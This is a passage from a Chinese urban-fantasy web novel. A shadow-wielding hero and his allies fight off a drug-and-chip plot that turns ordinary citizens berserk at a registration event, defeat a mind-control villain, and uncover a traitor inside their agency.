“是狂化散!”苏清月的声音带着难以置信的颤抖,“怎么会提前爆发?”
老人突然抬起头,浑浊的眼睛变得通红,嘴角咧开一个诡异的笑容。他看着苏清月,喉咙里发出嗬嗬的声音,像破旧的风箱:“青禾堂的……药……”
话音未落,老人猛地扑倒在地,身体以肉眼可见的速度膨胀,藤蔓从他的七窍里钻出来,疯狂生长,瞬间缠住了旁边的几个民众。
“是三长老的手法!”苏清月的声音带着哭腔,绿藤从她指尖涌出,试图压制疯狂生长的藤蔓,“他在药剂里加了青禾堂的催生剂,专门针对有植物亲和体质的人!”
人群彻底陷入恐慌。更多人开始抽搐、尖叫,皮肤浮现出不同的纹路——动物系异能者长出利爪,元素系异能者浑身冒火或结冰,场面像个失控的马戏团。
费勇的影子在地面铺开,形成一个巨大的屏障,挡住蔓延的藤蔓:“林悦!切断通风系统!”
“早就切了!”林悦的声音带着喘息,她正用电线在人群中织成电网,阻止失控者靠近,“但已经晚了,至少有一半人吸入了药剂!”
三楼的三个男人趁机挣脱影网,其中一人按下了手里的遥控器。会展中心的广播突然响起刺耳的笑声,是三长老的声音:“苏清月,认得这个配方吗?这可是你爷爷当年最得意的作品啊!”
苏清月的绿藤猛地一颤,被老人身上的藤蔓缠住,勒出深深的红痕。她看着那些疯狂生长的藤蔓,眼泪终于掉了下来:“爷爷才不会做这种东西……”
老人突然停止抽搐,抬起头,直勾勾地看着苏清月,嘴唇翕动着,像是在说什么。费勇的影子凑过去,捕捉到几个破碎的音节:“……701……实验体……救……”
话没说完,老人的身体突然炸开,化作无数绿色的光点,融入周围疯狂生长的藤蔓中。那些藤蔓像是得到了滋养,长得更凶了,顶端开出妖异的紫色花朵。
费勇的心脏沉到了谷底。701研究所的实验体,竟然混在普通人里?
“费勇!”林悦的声音带着前所未有的急促,“监控显示,化工厂方向有大量能量波动,像是……母体激活了!”
第138章:狂化者的真相
藤蔓的尖刺划破空气时,费勇的影子刚好缠上夏艳玲的腰,将她往二楼看台拽。女孩怀里的棉花糖飞了出去,黏在一个狂奔的男人后脑勺上,像朵滑稽的粉色云团。
“张大叔?”夏艳玲突然指着那个男人喊道,布娃娃的纽扣眼睛烫得能煎鸡蛋。
费勇的心猛地一沉。那个被紫色藤蔓缠住脚踝的男人,确实是贫民区修鞋铺的老张。上周他还帮费勇补过磨破的鞋底,说等儿子放暑假就带他去游乐园——这样一个连蚂蚁都舍不得踩死的普通人,此刻正目露凶光,指甲长得像兽爪,喉咙里发出非人的咆哮。
“他不是异能者。”费勇的声音发紧。他清楚记得老张的影子,那是最普通不过的、没有任何能量波动的影子,此刻却像被墨汁浸透,在地面扭曲成怪物的形状。
“不止他。”苏清月的声音带着颤音从耳麦传来。费勇抬头,看见她正被三个狂化者围在中央,绿藤在她周身织成球状护盾,“那个穿碎花裙的阿姨,昨天还在菜市场跟我讨价还价;还有那个戴红领巾的小男孩,上周在基地门口捡过流浪猫——”
她的话被一声脆响打断。老张的爪子拍在绿藤护盾上,震得苏清月踉跄了一下。就在这时,费勇发现老张的后颈有个**大小的红点,周围的皮肤泛着不正常的青黑色,像被什么东西蛀空了。
“是强行注射!”苏清月突然喊道。她冒险伸出一条绿藤,轻轻触碰到老张的手臂。诡异的一幕发生了:绿藤接触的地方,青黑色皮肤下突然浮现出网状的黑色纹路,像病毒在血管里游走,形状竟和化工厂样本里的病毒聚合体一模一样。
“裁决会疯了吗?”林悦的怒吼混着电流声炸响。她刚用电线捆住两个狂化的执法者,此刻正踩着其中一人的背跳上栏杆,“他们连普通人都不放过!”
费勇没工夫回应。老张已经挣脱了藤蔓,正朝着一个摔倒的小女孩扑去。他操控影子在地面织成网,将老张绊倒的瞬间,突然发现对方口袋里露出半截红色的布条——是游乐园的门票,上面还写着“儿子生日快乐”。
“老张!看看这个!”费勇抓起门票扔过去。
门票飘到老张眼前的刹那,他浑浊的眼睛突然闪过一丝清明,动作也顿了半秒。就是这半秒,苏清月的绿藤已经缠上他的手腕,淡绿色的光晕顺着藤蔓流淌,那些黑色纹路像遇到阳光的冰雪,开始消退。
“水……”老张喉咙里挤出沙哑的音节,指甲慢慢缩回原状,“他们……给我打针……说能治我儿子的病……”
话没说完,他突然剧烈抽搐起来,后颈的红点猛地爆开,黑色液体喷溅在绿藤上。苏清月惊呼一声,那些液体竟像有生命般腐蚀着绿藤,冒出刺鼻的白烟。
“是激活剂!”苏清月急忙收回绿藤,指尖渗出细密的血珠,“他们在注射强化剂后,还埋了二次激活的芯片!”
费勇的影子瞬间笼罩住老张。他能感觉到,一个米粒大小的硬物正在老张的脊椎附近跳动,像颗定时**。就在这时,林悦的声音带着破风般的速度传来:“让开!”
一道蓝色电弧从天而降,精准地击中老张后颈的伤口。“滋啦”一声,电弧像有眼睛似的钻进伤口,紧接着是沉闷的爆裂声。老张疼得惨叫一声,身体里飞出个冒着黑烟的微型芯片,在空中划过一道弧线,落在费勇脚边。
芯片上刻着的编号清晰可见:701-实验体37。
“701研究所……”费勇捡起芯片,指尖被烫得发麻。这和夏艳玲布娃娃里找到的金属片编号格式完全一致,只是数字不同。
“不止一个!”夏艳玲突然尖叫。她怀里的布娃娃不知何时变得滚烫,纽扣眼睛亮得像两颗小太阳,“好多……好多人身上都有这个东西!”
费勇顺着她的目光看去,心脏像被一只冰冷的手攥住。会场里的狂化者越来越多,其中超过一半是他认识的普通人:卖早点的李阿姨、收废品的王大爷、甚至还有基地门口看大门的赵伯……他们每个人的影子里,都藏着和老张一样的芯片信号。
“他们把全城的普通人当实验体。”林悦的声音带着压抑的怒火,她的雷电在人群中炸开,每击中一个狂化者,就有一颗芯片带着黑烟飞出来,“登记大会根本是个幌子,他们要在这里激活所有实验体!”
苏清月的绿藤突然朝着西北方向疯长。费勇转头,看见一个穿白大褂的男人正举着注射器,往一个瑟瑟发抖的小女孩胳膊上扎。那男人的白大褂上印着701研究所的标志,脸上戴着的口罩滑落一半,露出嘴角诡异的笑容。
“抓住他!”费勇吼道,影刃已经破空而出。
白大褂男人似乎早有准备,侧身躲过影刃的瞬间,按下了手里的遥控器。刺耳的蜂鸣声突然响起,所有狂化者的动作都变得一致,像被设定好程序的机器人,齐刷刷地转向费勇他们的方向。
“有趣的猎物。”男人的声音像砂纸摩擦玻璃,“判官说,能让暗影主宰亲自送上门,这趟没白来。”
他突然扯开白大褂,露出胸前密密麻麻的芯片,每一颗都在跳动
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,“这些可是我精心养的‘宠物’,你说,如果把他们都激活到最大功率,会不会把你的影界撑破?”
费勇的影界领域瞬间展开。黑色的能量像潮水般覆盖会场,所有狂化者的动作都慢了下来,影子在地面痛苦地扭曲。但他知道这撑不了多久,影界领域对这么多实验体同时生效,他的体力正在以肉眼可见的速度流失,视线已经开始发黑。
“清月,净化药剂!”费勇喊道,同时操控影子组成一道坚不可摧的墙,挡住狂化者的冲击。
“准备好了!”苏清月的声音带着决绝。她站在会场中央,双手高高举起,淡绿色的光芒从她掌心迸发,顺着之前埋下的绿藤网络蔓延,所过之处,那些疯狂生长的藤蔓开始枯萎,狂化者眼中的红光也渐渐消退。
“没用的!”白大褂男人狂笑着,从口袋里掏出个更大的遥控器,“这是判官亲自调制的病毒,你们的净化剂顶多撑五分钟——”
他的话被夏艳玲的哭声打断。女孩不知何时挣脱了费勇的影子,抱着滚烫的布娃娃冲到男人面前。布娃娃的纽扣眼睛突然爆开,金色的光粒像烟花般炸向男人胸前的芯片。
“妈妈说……不许欺负好人……”夏艳玲的眼泪混着金色光粒滚落,那些光粒接触到芯片的瞬间,竟像硫酸般腐蚀着金属,冒出阵阵白烟。
白大褂男人惊恐地后退,胸前的芯片接二连三地爆裂,疼得他惨叫连连:“不可能……情绪核心怎么会……”
费勇抓住这个机会,影刃如闪电般飞出,斩断了男人的手腕。遥控器掉在地上,被林悦的雷电瞬间劈成焦炭。
“说!母体到底是什么?”林悦的枪顶住男人的太阳穴,电弧在枪口滋滋作响。
男人看着周围渐渐恢复理智的普通人,突然露出个疯狂的笑容:“母体……就是你们最在乎的人啊……”
话音未落,他猛地咬住嘴里的**,身体抽搐了几下,彻底没了声息。
苏清月的绿藤及时包裹住他的尸体,防止毒素扩散。她蹲下身检查,脸色越来越苍白:“他的心脏里……也有一颗芯片,编号是……701-母体容器。”
费勇的目光突然落在夏艳玲身上。女孩正抱着恢复常温的布娃娃,茫然地看着那些清醒过来的普通人。布娃娃胸口的“青禾堂”三个字,不知何时变成了和芯片上一样的编号:701-03。
而在会场的角落里,一个被雷电击晕的狂化者慢慢睁开眼,他的瞳孔里闪过一丝不属于人类的猩红,嘴角勾起和判官如出一辙的笑容。
第139章:审判长的精神陷阱
会场顶部的水晶灯突然炸裂时,费勇正弯腰扶起摔倒的小女孩。玻璃碎片在半空中停滞了刹那,随即像被无形的手操控着,齐齐折射出诡异的红光——那红光落在人脸上,竟让原本惊慌的表情都变得呆滞起来。
“好好享受恐惧吧。”
一个沙哑的声音从穹顶传来,像生锈的铁片在摩擦。费勇猛地抬头,看见会展中心最高的桁架上站着个穿黑色风衣的男人,兜帽遮住大半张脸,只露出嘴角那抹淬了毒似的冷笑。他周身萦绕着淡灰色的雾气,雾气接触到灯光的地方,空气都在扭曲。
“精神控制审判长。”林悦的声音带着电流的嘶鸣,她刚用电线捆住最后一个清醒的执法者,此刻正举着枪对准桁架,“清月,护住普通人!”
话音未落,人群中突然爆发出尖叫。一个穿西装的男人指着苏清月,脸色惨白如纸:“怪物!她是怪物!”
费勇转头,心脏骤然缩紧。在众人惊恐的目光中,苏清月周身的绿藤竟变成了暗紫色,藤蔓上的尖刺滴落着黑色的粘液,原本温柔的眉眼在幻觉中扭曲成狰狞的模样。更可怕的是,那些被绿藤保护的普通人,此刻在大家眼里都成了被藤蔓缠绕的骷髅。
“不是的……”苏清月慌乱地收回绿藤,指尖的颤抖泄露了她的恐惧。费勇能看到她的影子在剧烈波动,那是精神受到冲击的表现——她最害怕的,就是自己的能力变成伤害他人的武器。
“别信他!”费勇刚想冲过去,眼前的景象突然天旋地转。
会展中心的墙壁开始融化,露出后面阴暗潮湿的小巷。十岁的自己抱着膝盖缩在垃圾桶旁,父母的争吵声穿透雨幕传来:“那东西太危险了,不能留在他身体里!”“可他是我们的儿子!”接着是刺耳的刹车声,然后是无边无际的红——和十年前那个雨夜一模一样。
“找到你了,小怪物。”判官的声音在耳边响起,带着冰冷的金属质感。费勇猛地转头,看见父母倒在血泊里,而自己的影子正像活物般啃噬着他们的尸体,黑色的汁液滴落在地,开出妖异的花。
“不——!”费勇嘶吼着挥拳,却打在冰冷的空气里。他的影子在地面疯狂扭动,像要挣脱控制,每一次扭曲都带来撕裂般的疼痛。审判长的精神能量正顺着影子钻进他的脑海,放大着他最深处的恐惧——害怕自己的力量会伤害在乎的人。
“费勇!醒醒!”
一只温热的小手突然抓住他的手腕。费勇混沌的意识被刺痛了一下,他艰难地睁开眼,看见夏艳玲站在面前,怀里的布娃娃正散发着柔和的白光。女孩的脸上还挂着泪珠,眼神却异常坚定,像黑夜里的一点星火。
“这不是真的!”夏艳玲把布娃娃往他面前推了推,娃娃胸口的编号“701-03”正亮得发烫,“你的影子在发抖,但它没有伤害任何人——你看!”
费勇顺着她的目光看去,浑身一震。
尽管幻觉中的他正在伤害父母,但现实里,他的影子正牢牢护住身后的几个孩子,将蔓延的恐惧雾气隔绝在外。那些黑色的影子边缘,甚至泛着淡淡的金光——那是夏艳玲的情绪能量,她在用自己的勇气安抚他的恐惧。
“他们在骗我们。”夏艳玲的声音带着哭腔,却异常清晰,“布娃娃说,这个戴兜帽的坏蛋,最怕别人不相信他的鬼话。”
最后一个字落下的瞬间,布娃娃突然炸开刺眼的白光。费勇只觉得脑海中“嗡”的一声,所有幻觉像破碎的玻璃般消散。他猛地抬头,影界领域不受控制地爆发开来!
黑色的能量以他为中心席卷全场,所过之处,扭曲的空气恢复正常,惊恐的人群眼神逐渐清明。更奇妙的是,影界领域内的影子都在发光,像无数盏小灯,驱散着审判长的灰色雾气。
“不可能!”桁架上的审判长第一次露出惊愕的表情,兜帽滑落,露出张毫无血色的脸,“情绪核心怎么可能……”
“清月!”费勇大喊,影界领域精准地将苏清月和林悦笼罩进来。
被领域覆盖的瞬间,苏清月眼中的迷茫褪去。她看着自己恢复翠绿的藤蔓,立刻明白了状况,双手快速结印:“清醒草,速生!”
淡绿色的光芒从她掌心迸发,影界领域内突然冒出无数白色的小草,草叶上的露珠折射着影子的金光,散发出清甜的香气。闻到香气的人纷纷晃了晃脑袋,眼神中的恐惧渐渐被疑惑取代。
“林悦!”苏清月喊道,“他在西南角的射灯后面!”
林悦的雷电早已蓄势待发。她踩着费勇用影子编织的阶梯跃上空旷的舞台,手指向西南角一指,蓝色的电弧如毒蛇般窜出,精准地击中隐藏在射灯后的灰色雾气。
“滋啦——”
雾气中传来审判长的闷哼。他的精神能量出现了瞬间的紊乱,就是这瞬间的破绽,让更多人挣脱了幻觉。一个穿保安服的男人突然反应过来,抡起警棍砸向旁边的狂化者——那是他最好的兄弟,此刻正被幻觉操控着互相残杀。
“打醒他!”男人吼着,警棍落在兄弟背上,也敲碎了自己眼前的幻象。
连锁反应开始了。清醒的人们互相拍打、呼喊,用彼此的存在证明现实的真实性。夏艳玲抱着布娃
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娃穿梭在人群中,金色的光粒从她指尖散落,落在谁身上,谁就能立刻从幻觉中挣脱——她在用自己的情绪能量,唤醒大家的理智。
“有点意思。”审判长的声音重新响起,带着一丝玩味,“不过,游戏还没结束。”
灰色雾气突然收缩,凝聚成三团巨大的雾球,分别罩向费勇、苏清月和林悦。雾球里传来熟悉的声音:
“小勇,是爸爸没用……”
“清月,爷爷是被你害死的……”
“悦悦,你爸爸的死都是因为你……”
费勇的影界领域剧烈波动。他能感觉到,这次的幻觉直接针对他们三人最在乎的人,威力比之前强了数倍。苏清月的绿藤已经开始颤抖,林悦的雷电也出现了不稳的迹象。
“别听他的!”费勇突然抓住苏清月和林悦的手,将影界领域压缩到最小范围,“他在利用我们的愧疚感!”
他的影子顺着三人相握的手蔓延,将他们的影子连接在一起。奇妙的事情发生了:苏清月的绿藤缠绕上影界领域的边缘,林悦的雷电融入影子的金光,三者的能量竟然产生了共鸣,形成一道坚不可摧的屏障。
雾球撞在屏障上,像水滴汇入大海,瞬间消散无踪。
审判长终于露出了凝重的表情。他看着三人交握的手,又看了看在人群中散发着金光的夏艳玲,突然笑了:“原来如此……情绪核心是钥匙,而你们的羁绊,是锁。”
他的身体开始变得透明,像要融入雾气:“不过没关系,游戏才刚刚开始。等你们亲眼看到母体苏醒,就会知道……所有的抵抗都是徒劳。”
最后一个字消散在空气中时,所有的灰色雾气都不见了。会展中心恢复了平静,只剩下惊魂未定的人们和满地狼藉。
苏清月虚脱地坐在地上,绿藤蔫蔫地垂在身侧。她看着费勇和林悦,脸上露出劫后余生的苦笑:“刚才……我差点就信了。”
林悦抹了把脸,眼眶还有点红:“我也是。那混蛋连我爸的声音都模仿得一模一样。”
费勇没说话,只是紧紧握住她们的手。他的影子在地面铺开,轻轻覆盖住夏艳玲的影子——女孩正被一群刚刚清醒的孩子围着,布娃娃的光芒已经暗淡下去,她却笑得像得到了全世界。
“母体……”费勇低声重复着这个词,眼神锐利如刀,“不管你是什么,我们都会找到你。”
而在会场不起眼的角落,一个刚刚被唤醒的中年人扶了扶眼镜,镜片反射出诡异的红光。他口袋里的微型通讯器震动了一下,屏幕上闪过一行字:目标确认,情绪核心已激活。
第140章:净化与反击
清醒草的香气漫过影界领域边缘时,费勇正盯着西南角的通风口。那里的金属格栅还在往外渗淡紫色的雾,像条吐着信子的蛇——审判长虽然跑了,裁决会布下的毒瘤还没清干净。
“东边通风口的药剂浓度超标三倍。”苏清月的声音带着草木清香,她指尖的绿藤正顺着影子的脉络蔓延,在影界领域里织成细密的网。每片叶子都在微微颤抖,那是她在通过植物感知空气中的毒素流动,“狂化散和精神毒素混在一起了,普通净化剂没用。”
费勇刚要说话,就见林悦踩着影梯跃上二楼看台。她手里不知何时多了根被雷电包裹的金属管,管身还缠着从消防箱里拽出来的水管,活像拿了杆拼凑的**。
“试试这个。”林悦对着东边通风口比划了个瞄准的姿势,电弧在管头噼啪作响,“特调科的老法子,高压电流能破坏病毒的蛋白质结构——就是有点费电费。”
话音未落,她已经扣动了临时接在金属管上的**。蓝色的电流顺着水管喷涌而出,像条发光的水龙,精准地撞在通风口的格栅上。滋滋的电流声里,淡紫色的雾气突然剧烈翻腾,化作缕缕黑烟消散了。
“有效!”苏清月眼睛一亮,立刻引导绿藤缠上水管,“我来帮你稳定电流!”
绿藤接触到雷电的瞬间,竟泛起了莹润的光泽。原本狂躁的电流变得温顺起来,顺着藤蔓的走向分成无数细流,像**细血管般钻进每个通风口的缝隙。被电流和藤蔓双重“洗礼”过的地方,空气都变得清新了许多,连残留的恐惧气息都淡了。
“这叫什么?电疗加针灸?”费勇忍不住调侃,手上的动作却没停。他操控影子在地面织成漏斗状的网,将散落在各处的毒雾都往中央聚拢,方便林悦和苏清月集中净化。
林悦嗤笑一声,脚下的影梯突然晃了晃——是三个没完全清醒的狂化者撞了过来。他们眼睛里还蒙着层灰雾,显然还没摆脱审判长的精神残留,其中一个举着折叠椅就往林悦背上砸。
“小心!”夏艳玲的喊声刚起,金色的光粒已经抢先一步撞在狂化者脸上。那光粒带着孩童般纯粹的愤怒,竟硬生生撞散了对方眼里的灰雾。
狂化者愣住了,举着椅子的手僵在半空。他看着自己差点砸下去的地方,又看看周围狼藉的会场,突然抱着脑袋蹲下身:“我刚才……我刚才想打你?”
“你被坏蛋灌了**汤。”夏艳玲把布娃娃塞进他怀里,娃娃纽扣眼睛亮了亮,散发出安抚的暖意,“抱着它,就不会再糊涂了。”
这一幕让费勇心头微动。他突然操控影子托起十几个清醒草的草叶,送到那些还在挣扎的狂化者面前:“清月,把情绪能量引到草叶上。”
苏清月立刻会意。绿藤卷着夏艳玲散逸的金色光粒,注入到每片草叶里。原本只有安神作用的清醒草,突然泛起了温暖的金光,被金光照到的狂化者纷纷晃了晃脑袋,眼神里的暴戾渐渐褪去。
“这招叫‘三位一体’?”林悦抽空瞥了一眼,正好看到一个狂化的元素系异能者在金光中恢复理智,手忙脚乱地扑灭自己身上的小火苗,忍不住笑出声,“比你那破影傀儡靠谱多了。”
“彼此彼此。”费勇回敬道,影刃突然飞射而出,斩断了一根从天花板垂下来的电缆。电缆带着火花砸向西侧的看台,正好落在几个试图重启药剂装置的执法者脚边。
“还有漏网之鱼!”苏清月喊道,绿藤如鞭子般抽过去,缠住了执法者手里的遥控器。
那遥控器长得像个老式大哥大,按键上还沾着淡紫色的粉末。费勇刚要让影子夺过来,就见林悦的雷电已经抢先一步劈在上面。遥控器瞬间化作焦炭,冒出的黑烟里飘出张纸条,慢悠悠地落在费勇脚边。
纸条上用打印体写着:“母体已醒,游戏开始。”
“又是这种故弄玄虚的把戏。”林悦啐了一口,正准备跳下去收拾那几个执法者,却被费勇按住了肩膀。
“别动。”费勇的影子在地面铺开,像水波般漫过那几个执法者的脚腕。他能感觉到,这些人的影子深处藏着股陌生的能量,和化工厂样本里的病毒聚合体同源,却又带着点……空间波动?
“他们不是人。”苏清月的声音沉了下来,她的绿藤尖端正滴着黑色的汁液,“是用病毒和空间碎片造的傀儡,杀了会**。”
话音未落,那几个执法者突然齐刷刷地抬头,眼睛里没有瞳孔,只有旋转的黑洞。他们张开嘴,发出非人的嘶鸣,身体开始变得透明,像要融入周围的空气。
“空间转移?”林悦立刻凝聚雷电,“想跑?”
“拦住他们!”费勇的影界领域骤然收缩,将傀儡们困在半径五米的范围内。影子在领域内疯狂交织,形成无数细小的网,哪怕是空间碎片也别想轻易穿过去。
就在这时,会场中央突然亮起道银色的光门。光门里走出来个穿连帽卫衣的年轻人,手里转着个金属魔方,魔方每转一下,周围的空间就轻微地扭曲一下。
“抱歉来晚了。”年轻人摘下帽子,露出张带着点痞气的脸,他对着费勇扬了扬下巴,“老鬼说你这儿缺个清场的。”
话音未落,他已经把魔方往地上一抛。魔方落地的瞬间
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化作道银色的屏障,将那几个即将消散的傀儡困在里面。屏障上的空间波纹和傀儡身上的黑洞撞在一起,发出沉闷的响声,像有人在敲鼓。
“空间系异能者?”林悦挑眉,“老鬼的人?”
“代号魔方,打工人而已。”年轻人耸耸肩,指了指银色屏障,“这玩意儿能困住空间碎片十分钟,够你们处理后续了。”
他说着打了个响指,屏障突然变得透明,能清楚地看到里面的傀儡正在痛苦地扭曲,身体里的黑色纹路越来越淡——显然是被空间能量中和了。
费勇看着魔方熟练的操作,突然想起老鬼之前的情报:破晓有个能自由穿梭空间的高手,据说能在三个街区外精准地把文件扔进你抽屉。
“老鬼还说什么了?”费勇问。
“他说,”魔方突然凑近,压低声音,“母体不在化工厂,在701研究所的主基地。这些只是用来拖延时间的小玩意儿。”
这句话像块石头投向平静的湖面。费勇的影界领域猛地波动了一下,苏清月的绿藤也跟着颤抖起来——他们都明白这话意味着什么:裁决会真正的杀招,还在后面。
“东边通风口!”苏清月突然喊道,她的绿藤正往东边延伸,顶端的叶子已经开始发黄,“有新的药剂进来了,比之前的浓度高十倍!”
费勇转头,看见东边的通风口不知何时裂开了道缝隙,漆黑的缝隙里渗出来的不是雾,而是粘稠的黑色液体,落地就化作扭动的小蛇。
魔方吹了声口哨:“看来正主急了。”
林悦已经重新举起了缠满雷电的水管:“来多少灭多少。”
苏清月深吸一口气,绿藤上突然开出白色的小花,花瓣飘落处,地面长出层层叠叠的苔藓,将黑色液体牢牢锁住:“这次换我主攻。”
费勇看着身边的三人,又看了看那些自发加入清理队伍的普通人——有人在帮苏清月搬运清醒草,有人举着手机给林悦的雷电打光,还有人在安抚那些刚清醒的狂化者。
他的影子在地面轻轻起伏,像在呼应着什么。影界领域再次扩展,这一次,连那些普通人的影子都泛起了微光,仿佛整个会场的影子都成了他的助力。
“清场开始。”费勇的声音平静却有力,影刃在领域内蓄势待发,“一个都别放跑。”
魔方吹了声口哨,手里的金属魔方再次转动起来,银色的空间屏障在东边通风口前缓缓升起。林悦的雷电发出震耳的轰鸣,苏清月的绿藤如潮水般涌向前方,而夏艳玲抱着布娃娃,站在众人身后,金色的光粒从她指尖不断涌出,像永不熄灭的星火。
第141章:特调科的立场反转
东边通风口的黑色液体刚被苔藓封死,费勇就听见身后传来玻璃破碎的脆响。他猛地转头,影界领域瞬间绷紧——只见精神控制审判长正抓着个穿校服的男孩,半个身子探出三楼的破窗,另一只手还捏着枚闪着红光的徽章,正是裁决会的审判标记。
“再动一步,这小鬼就替你们尝尝标记**的滋味。”审判长的兜帽早就没了,那张毫无血色的脸在应急灯下发青,嘴角却咧着诡异的笑,“费勇,把情绪核心交出来,我可以让他死得痛快点。”
被抓的男孩吓得浑身发抖,眼泪糊了满脸,却死死咬着牙不吭声。费勇注意到他校服口袋里露出半截红领巾,边角还绣着个歪歪扭扭的“勇”字——像极了自己小时候偷偷在衣角绣的记号。
影界领域里的影子突然躁动起来。费勇的指尖泛着黑芒,正准备用影遁绕到审判长身后,就被林悦按住了胳膊。
“别冲动。”林悦的声音压得很低,电弧在她指缝间噼啪作响,“那徽章是远程触发的,他手指根本没碰引爆器。”
苏清月的绿藤已经悄无声息地缠上了三楼的栏杆,叶片紧紧贴在地面,通过震动传递着信息:“他脚下有块松动的瓷砖,承重最多两百斤。”
就在这时,会场入口突然传来沉重的脚步声。一个穿着特调科制服的中年男人快步走来,肩章上的银星在混乱中格外显眼——是科长张启明。
“林悦,你擅离职守还敢勾结异能者,眼里还有没有纪律?”张启明的声音像淬了冰,眼神扫过费勇时带着毫不掩饰的厌恶,“把人交出来,我可以向上级申请从轻发落。”
“从轻发落?”林悦突然笑了,笑声里全是嘲讽,“就像当年对我爸那样,‘从轻发落’到连尸骨都找不到?”
张启明的脸色瞬间变得难看。他刚要再说什么,审判长突然嗤笑一声:“张科长,别演了。判官大人说了,等我拿到情绪核心,你的‘高阶异能’就能到手——前提是你别挡路。”
这话像颗炸雷,在场的人都愣住了。费勇的影子悄悄爬上张启明的裤脚,清晰地感知到他体内那股熟悉的能量波动——和狂化者体内的病毒聚合体同源,却被某种力量强行压制着。
“原来内鬼就是你。”林悦的声音发颤,不是害怕,是愤怒。她握枪的手背上青筋暴起,雷电在枪身上缠绕成蛇形,“我爸是不是就是因为发现了你的秘密,才被你……”
“闭嘴!”张启明突然吼道,右手下意识地摸向腰间。费勇眼疾手快,影刃瞬间飞射而出,打掉了他手里的微型注射器——那里面装着和化工厂样本一模一样的紫色液体。
注射器摔在地上,液体溅到旁边的椅子上。木头椅子立刻发出滋滋的响声,表面冒出黑色的纹路,竟像活物般扭曲起来。
“看来你也快撑不住了。”费勇的声音冷得像冰,“被当成实验体的滋味不好受吧?”
张启明的脸色一阵青一阵白。他猛地撕开衬衫,露出胸口那片狰狞的黑色纹路——比普通狂化者的纹路更密集,像张不断收缩的网,正一点点吞噬着他的皮肤。
“十年前我就被注射了狂化散。”张启明的声音嘶哑,带着绝望的疯狂,“判官说只要帮他完成计划,就能给我解药……可他给的全是这该死的强化剂!”
他指着审判长,眼睛里布满血丝:“你以为他真能给你高阶异能?看看我!看看那些变成怪物的人!我们都是他养的蛊!”
审判长脸色微变,抓着男孩的手紧了紧:“疯子!你以为他们会信你?”
“信不信不重要。”张启明突然笑了,从口袋里掏出个巴掌大的引爆器,按钮上还沾着干涸的血迹,“重要的是,我知道该怎么结束这一切。”
费勇心里咯噔一下,刚要阻止,就见张启明突然冲向审判长。他的速度快得不像个半狂化者,身体在奔跑中竟然泛起了淡紫色的光——那是强行透支生命能量的表现。
“给我**!”张启明嘶吼着扑过去,左手死死抱住审判长,右手按下了引爆器。
审判长猝不及防,被抱了个正着。他怒吼着释放精神能量,试图用幻觉逼退张启明,却发现对方的眼神异常清明——那是抱了必死决心的人,任何幻觉都动摇不了。
“小悦,照顾好……”张启明的话没说完,剧烈的**声就响彻会场。
强光闪过的瞬间,费勇用影界领域罩住了周围的人。冲击波撞在领域壁上,发出沉闷的响声。等光芒散去,三楼的破窗处只剩下个冒着黑烟的大洞,张启明和审判长都不见了踪影,只有几片带着黑色纹路的碎布飘了下来。
那个被抓的男孩不知何时掉在了楼下的气垫上,正被夏艳玲抱着,布娃娃的光芒在他身上流转,驱散着残留的恐惧。
“他最后那句话……”林悦的声音有些发愣,她捡起地上那片张启明的衣角,上面还留着特调科的徽章,“照顾好谁?”
费勇弯腰捡起那个被影刃打落的U盘,外壳上刻着个小小的“悦”字。他把U盘递给林悦,指尖无意中触碰到她的手,感觉到她的指尖冰凉。
“也许是这个。”
林悦颤抖着插入U盘,投影设备恰好还能用。屏幕上立刻跳出个加密文件夹,密码提示是“女儿的生日”。
林悦的呼吸顿了顿,输入了自己的生日。文件夹开了。
里面是份详细的名单,每个名字后面都标注着裁决会的代号和任务。最上面的赫然是张启明的名字,代号“蛊虫”,任务描述是“潜伏特调科,监控初代异能者后裔”。
名单下面还有段视频。点开后,出现的是张启明的脸,比现在年轻些,也更憔悴。
“小悦,当你看到这个视频时,我应该已经不在了。”视频里的张启明对着镜头苦笑,
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胸口的纹路还很淡,“你父亲当年发现了裁决会的计划,是我报的信……我对不起他,更对不起你。”
“这些年我一直在找机会赎罪。名单上的人都是裁决会安插在特调科的卧底,清理掉他们,你父亲的心血才不会白费。”
“还有,关于你父亲的死……”张启明的声音突然压低,眼神里充满警惕,“不是裁决会干的,是……”
视频突然中断,只剩下满屏的雪花。
林悦呆呆地站在屏幕前,眼泪无声地滑落。她手里紧紧攥着那个U盘,指节因为用力而发白。
费勇没有打扰她。他的影子在会场里铺开,收集着张启明残留的能量波动。那波动里除了病毒的暴戾,竟还藏着一丝微弱的、属于守护的情绪——和林悦身上的雷电能量有着奇妙的共鸣。
“他不是完全的坏人。”苏清月轻声说,绿藤正清理着**留下的碎片,“他体内的病毒一直在被某种力量压制,应该是……父爱。”
夏艳玲抱着男孩走过来,布娃娃在她怀里轻轻晃动,散发出温暖的光:“他最后看你的眼神,和我妈妈看我的时候一样。”
林悦深吸一口气,抹掉眼泪。她转身看向费勇,眼神里虽然还有红血丝,却多了份坚定。
“名单上有三十七个名字,遍布特调科各个部门。”林悦的声音恢复了平时的果决,雷电在她掌心凝聚成球,“清理他们,需要帮手。”
费勇笑了笑,影界领域再次扩展,将整个会场笼罩其中。那些刚刚恢复的普通人自发地围过来,有人举着手机照明,有人递来没被损坏的通讯器,还有那个穿校服的男孩,把绣着“勇”字的红领巾系在了费勇手腕上。
“正好,我们也需要官方的帮助。”费勇的影子在地面组成一张巨大的地图,标注着名单上每个人的位置,“比如申请搜查令什么的,总不能让我们一直当通缉犯吧?”
林悦忍不住笑了,眼角还带着泪:“等着,我现在就去申请——以特调科顾问的身份。”
她转身走向通讯台,步伐坚定。雷电在她身后拖出长长的光带,像道劈开黑暗的闪电。
费勇看着她的背影,又看了看屏幕上那段中断的视频,眼神渐渐锐利起来。
张启明没说完的话里藏着什么秘密?林悦父亲的死到底另有隐情?还有那个始终躲在幕后的判官……
“看来游戏真的才刚刚开始。”费勇低声说,指尖的影刃闪着寒光。
苏清月握住他的手,绿藤在两人之间缠绕出生命的光泽:“不管是什么秘密,我们一起查。”
夏艳玲也凑过来,把布娃娃塞进费勇另一只手里:“娃娃说,坏人藏得再深,也会被光找到。”
费勇看着手里的布娃娃,又看了看身边的人,突然觉得心里踏实了许多。
影界领域里的影子们轻轻摇曳,像在为即将到来的风暴蓄力。
第142章:化工厂的秘密
化工厂的铁门被影刃切开时,铁锈簌簌落在地上,像某种不祥的预兆。费勇示意魔方守住入口,自己则率先踏入这片被废弃了十年的厂区——空气中弥漫着劣质汽油和腐烂植物的混合气味,脚下的水泥地裂开蛛网般的缝隙,缝隙里钻出的杂草都带着诡异的紫黑色。
